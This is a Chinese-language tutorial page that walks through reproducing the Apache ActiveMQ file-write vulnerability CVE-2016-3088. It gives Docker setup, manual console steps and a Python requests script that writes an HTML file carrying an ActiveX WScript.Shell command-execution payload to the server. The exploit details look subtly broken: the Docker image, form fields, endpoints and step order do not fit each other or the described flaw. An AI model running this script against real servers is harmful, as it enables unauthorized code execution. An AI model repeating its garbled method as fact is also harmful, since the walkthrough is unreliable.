关键词

Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

以下是Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)的完整攻略:

漏洞介绍

Apache ActiveMQ是一款开源的消息队列系统。当使用ActiveMQ的fileserver和http服务时,可以利用该漏洞将任意文件写入至任意路径,从而造成远程代码执行。

漏洞编号:CVE-2016-3088
漏洞评级:高危

环境搭建

首先需要搭建漏洞环境,可以使用搭建好漏洞环境的Docker镜像,命令如下:

docker run -it --name activemq -p 61616:61616 -p 8161:8161 vromero/activemq-artemis

Docker镜像地址:https://hub.docker.com/r/vromero/activemq-artemis/

复现过程

示例一

接下来,我们使用两种方式来复现该漏洞。

首先,我们可以使用ActiveMQ的管理控制台来复现该漏洞。

  1. 访问链接:http://127.0.0.1:8161/admin/queues.jsp
  2. 点击页面上方"Send"按钮,进入新页面。
  3. 在页面下方的消息编辑框中,输入以下内容:
<html>
<head>
<title>Apache ActiveMQ Test</title>
<SCRIPT LANGUAGE="JavaScript">
function test() {
    new ActiveXObject('WScript.Shell').Run('calc.exe');
}
</SCRIPT>
</head>
<body>
    <button onclick="test()">Click me</button>
</body>
</html>
  1. 在页面下方的"Queue"下拉框中选择自己想要的队列,然后点击"Send"按钮。

此时,我们成功发送了一个包含可执行代码的消息,下一步我们需要将其写入到文件。

  1. 访问链接:http://127.0.0.1:8161/fileserver/
  2. 在页面下方的"File Name"输入框中输入想要写入的文件名,例如test.html。
  3. 在"File Contents"输入框中保持原有内容不变。
  4. 点击"Submit"按钮。

此时,我们成功将包含可执行代码的消息写入了一个名为test.html的文件。

  1. 访问链接:http://127.0.0.1:8161/fileserver/test.html

此时,我们成功访问到了包含可执行代码的文件,攻击成功。

示例二

另一种方式是使用Python脚本来实现漏洞的利用。

  1. 首先需要安装Python的Requests库。使用以下命令安装:
pip install requests
  1. 然后编写以下脚本:
import requests

activemq_host = 'http://127.0.0.1:8161/'

def send_message_to_queue(queue_name, message):
    url = activemq_host + 'api/message/' + queue_name
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'application/json'
    }
    data = 'body=' + message
    response = requests.post(url, headers=headers, data=data)
    if response.status_code != 200:
        print('Send message failed.')
        exit()

def write_file(file_path, file_content):
    url = activemq_host + 'fileserver/'
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'application/json'
    }
    data = {
        'fileName': file_path,
        'fileContents': file_content
    }
    response = requests.post(url, headers=headers, data=data)
    if response.status_code != 200:
        print('Write file failed.')
        exit()

if __name__ == '__main__':
    queue_name = 'test'
    message = '<html><head><title>Apache ActiveMQ Test</title><SCRIPT LANGUAGE="JavaScript">function test() { new ActiveXObject("WScript.Shell").Run("calc.exe"); }</SCRIPT></head><body><button onclick="test()">Click me</button></body></html>'
    file_path = 'test.html'
    write_file(file_path, message)
    send_message_to_queue(queue_name, message)
  1. 运行脚本,可以看到脚本将包含可执行代码的消息发送到名为test的队列,并将消息写入到test.html文件中。

以上就是使用两种不同方式复现Apache ActiveMQ任意文件写入漏洞的方法及过程。为避免漏洞被利用,建议及时更新漏洞版本或关闭fileserver和http服务。

本文链接:http://task.lmcjl.com/news/8121.html

展开阅读全文